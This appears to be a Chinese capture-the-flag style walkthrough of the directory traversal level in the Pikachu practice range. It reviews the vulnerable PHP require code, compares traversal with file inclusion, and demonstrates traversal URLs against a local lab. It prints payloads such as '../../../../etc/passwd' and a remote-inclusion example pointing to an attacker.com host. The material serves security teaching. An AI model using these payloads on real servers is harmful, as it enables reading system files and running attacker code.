目录
一、目录遍历
二、源码分析
三、目录遍历与文件包含
四、实战渗透
1、进入靶场
2、目录遍历
(1)访问ace.min.css
(2)访问fileinclude.php
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对目录遍历源码的代码审计找到安全风险的真实原因,讲解目录遍历关卡原理并进行渗透实践。如下图所示,pikcahu靶场在目录遍历关卡介绍的过程中讲解目录遍历风险的产生原因,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历安全风险。
一、目录遍历
目录遍历,也被称为路径遍历,是一种常见的安全风险,攻击者利用目录遍历安全风险可以访问服务器上本应受限制访问的文件和目录。
类别 | 详情 |
---|---|
定义 | 目录遍历指应用程序在处理用户输入的文件路径或文件名时存在缺陷,使攻击者能够绕过安全限制,访问服务器上本不应被访问的文件和目录 |
原理 | 应用程序未对用户输入的路径信息进行有效验证与过滤,攻击者利用特殊构造的路径(如包含 “../” 等回溯上级目录的字符),突破预设访问范围,定位到目标文件所在目录 |
常见攻击方式 | 1. 在 URL 参数中构造恶意路径,如将正常的 “/download.php?file=image.jpg” 改为 “/download.php?file=../../../../etc/passwd”; 2. 在表单输入框中提交恶意路径,若应用程序存在文件上传功能,且对上传路径处理不当,攻击者可通过输入特殊路径来访问其他目录 |
危害 | 1. 敏感信息泄露:获取服务器上的敏感文件内容,如数据库配置文件、用户登录凭证等,为进一步攻击提供便利; 2. 文件系统破坏:篡改、删除重要系统文件或业务数据文件,影响系统正常运行,甚至导致系统崩溃; 3. 恶意代码执行:访问可执行文件并执行恶意代码,获取服务器控制权,进一步扩大攻击范围 |
防范措施 | 1. 输入验证过滤:严格检查用户输入的路径和文件名,禁止包含 “../” 等非法字符,同时对文件类型、路径长度等进行限制; 2. 使用白名单机制:明确指定允许访问的文件和目录范围,仅接受白名单内的路径请求; 3. 权限管理:为应用程序设置最小权限,限制其对文件系统的访问级别,避免权限滥用; 4. 编码转换:对用户输入的路径进行适当的编码转换,如 URL 编码,防止特殊字符被恶意利用; 5. 更新系统软件:及时更新操作系统、Web 服务器软件和应用程序,修复已知的目录遍历安全风险 |
二、源码分析
进入pikachu靶场的目录遍历关卡,完整的URL地址如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php
打开代码dir_list.php并进行源码分析,代码实现了一个简单的文件包含功能。首先初始化一个空字符串变量$html 。接着检查是否通过 GET 方式传递了title参数,若存在则将该参数值赋给$filename。然后直接使用require语句包含 “soup/” 目录下由$filename指定的文件。但由于未对$filename参数进行任何验证与过滤,直接使用用户可控的输入进行文件包含操作,存在严重的目录遍历安全风险,攻击者可通过构造恶意参数值,访问服务器其他目录的敏感文件甚至执行恶意代码,威胁系统安全 。
<?php
// 初始化一个空字符串变量 $html,可能用于后续存储要输出的 HTML 内容,但在这段代码中未实际使用
$html = '';// 检查是否通过 GET 方式传递了名为 'title' 的参数
if (isset($_GET['title'])) {// 如果存在 'title' 参数,将其值赋给变量 $filename$filename = $_GET['title'];// 这里直接把传进来的内容进行了 require(),造成问题// require 是 PHP 中的一个语句,用于包含并执行指定的文件// 这里尝试包含 "soup/" 目录下由 $filename 指定的文件require "soup/$filename";// 这行代码被注释掉了,原本的作用可能是输出 $html 变量的内容// echo $html;
}
?>
同时在这段代码里,程序直接使用 require 语句包含了由用户通过 GET 请求传递的 title 参数所指定的文件。代码中没有对 $filename 进行任何验证和过滤,攻击者能够通过构造特殊的文件名,达成任意文件包含的目的。 由于本关卡的题目为目录遍历(路径遍历),故而本文主要针对目录遍历进行渗透。
三、目录遍历与文件包含
由于本关卡源码涉及到目录遍历和文件包含,用表格形式对两者的区别,具体如下所示。
类别 | 文件包含 | 目录遍历 |
---|---|---|
原理 | 程序包含文件时,对用户输入的文件路径或名称验证过滤不足,使攻击者能让程序包含恶意或非预期文件,以执行恶意代码或获取信息 | 应用处理用户输入的文件路径时,未有效限制访问范围,攻击者利用特殊路径构造(如 “../”)突破目录限制,访问其他目录文件 |
攻击方式 | 修改文件包含函数参数,传入本地或远程恶意文件路径,使程序包含并执行恶意文件。如include($_GET['file']) ,攻击者构造?file=http://attacker.com/malicious.php | 构造含 “../” 等回溯目录字符的路径,逐步访问目标文件。如http://example.com/script.php?file=../../etc/passwd |
危害后果 | 严重时可致服务器被植入后门,攻击者完全控制服务器,能执行任意命令、窃取信息、篡改内容等 | 主要造成敏感信息泄露,如获取配置文件、用户信息,也可能导致文件被非法读取、修改或删除,但一般不会直接使服务器被完全控制 |
本质 | 侧重于对文件的不当包含,实现恶意代码执行 | 侧重于突破目录限制,实现特定文件的非法访问 |
常见场景 | 存在文件包含函数且对参数处理不当的代码中,如 PHP 的include 、require 等函数使用处 | 处理用户输入文件路径的功能模块,如文件下载、文件查看等功能中 |
四、实战渗透
1、进入靶场
进入pikachu靶场的目录遍历关卡,完整URL以及页面如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php
点击链接第一个后,可以看到url=
jarheads.php中包含文件名jarheads.php,进入的页面包含了jarheads.php文件的内容,具体如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
点击第二个链接时,,可以看到url=
truman.php,进入了包含truman.php内容的页面。
2、目录遍历
(1)访问ace.min.css
尝试一下修改title的值,title=../../../assets/css/ace.min.css,完整URL如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../assets/css/ace.min.css
访问该链接进入包含ace.min.css的页面,渗透成功,
(2)访问fileinclude.php
尝试一下修改title的值,title=../../fileinclude/fileinclude.php,完整URL如下所示。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../fileinclude/fileinclude.php
访问该链接进入到包含“文件包含描述“的页面,渗透成功,如下图所示。